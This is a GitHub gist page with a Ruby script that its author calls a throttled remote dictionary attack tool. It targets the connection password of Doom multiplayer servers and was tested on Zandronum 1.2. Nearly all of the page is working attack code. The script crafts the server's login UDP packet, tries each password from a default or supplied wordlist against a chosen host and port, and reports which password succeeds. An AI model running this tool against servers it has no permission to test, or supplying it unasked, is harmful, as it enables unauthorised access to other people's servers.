Created
December 26, 2014 15:00
-
-
Save bcoles/25d2e052554d0ec3ea81 to your computer and use it in GitHub Desktop.
Throttled single-threaded remote dictionary attack tool for Doom multiplayer server connection password. Tested on Zandronum 1.2.42016.1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Throttled single-threaded remote dictionary attack tool | |
# for Doom multiplayer server connection password. | |
# Tested on Zandronum 1.2.42016.1 | |
# 2014-12-20 | |
## | |
require 'socket' | |
$debug = false | |
@wait = 10 # server wait time between connections (default is 10 seconds) | |
@version = '1.2' # server version | |
# usage | |
if ARGV.length < 2 | |
puts "Usage: ./brute-doom <host> <port> [/path/to/wordlist.txt]" | |
exit 1 | |
end | |
# parse target | |
@host = ARGV[0] | |
@port = ARGV[1].to_i | |
# parse wordlist | |
file = ARGV[2] | |
@word_list = [] | |
if file.nil? | |
@word_list = ['doom', 'password', 'guest', '1234', '12345'] | |
puts "No wordlist specified. Using default list (#{@word_list.length} words) ..." | |
else | |
@word_list = open(file).lines.flat_map do |line| | |
line.chomp! | |
end.uniq.sort | |
puts "Using wordlist '#{file}' (#{@word_list.length.to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }} words) ..." | |
end | |
# brute target | |
def main | |
seconds_remaining = (@word_list.length * @wait) | |
if seconds_remaining < 60 | |
time_remaining_msg = "#{seconds_remaining} seconds remaining" | |
else | |
time_remaining_msg = "#{(seconds_remaining/60).to_s.gsub(/(\d)(?=(\d\d\d)+(?!\d))/) { "#{$1}," }} minutes remaining" | |
end | |
puts "Trying dictionary attack on #{@host}:#{@port} (#{time_remaining_msg}) ..." | |
@s = UDPSocket.new | |
@s.connect @host, @port | |
@word_list.each do |pw| | |
# connect | |
break if connect(pw) | |
# sleep | |
next if @wait < 1 | |
puts "* Sleeping for #{@wait} second#{'s'*(@wait>1?1:0)} ..." if $debug | |
show_wait_cursor(@wait) # sleep(@wait) | |
end | |
@s.close | |
end | |
# connect with specified password | |
def connect pw | |
pkt = "ff00" | |
pkt << "#{@version.unpack('H*').flatten.first}00" | |
pkt << "#{pw.unpack('H*').flatten.first}00" | |
pkt << "052000" | |
login = [pkt].pack('H*') | |
puts "* Sending: #{login}" if $debug | |
@s.send login, 0 | |
text, sender = @s.recvfrom(256) | |
res = text.unpack('H*').flatten.first | |
puts "* Response: #{res} - #{text}" if $debug | |
if res =~ /^0344923a29/ | |
puts "- Login failed with password: #{pw}" | |
return | |
elsif res =~ /^ff0300/ | |
puts "+ Login success with password: #{pw}" | |
return pw | |
else | |
puts "- Error - Unexpected reply" | |
exit 1 | |
end | |
end | |
# spinner | |
# https://stackoverflow.com/questions/10262235/printing-an-ascii-spinning-cursor-in-the-console | |
def show_wait_cursor(seconds, fps=10) | |
chars = %w[| / - \\] | |
delay = 1.0 / fps | |
msg = " Waiting ..." | |
(seconds * fps).round.times do |i| | |
print(chars[i % chars.length] + msg) | |
sleep(delay) | |
print("\b" * (msg.length + 1)) | |
end | |
end | |
main |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment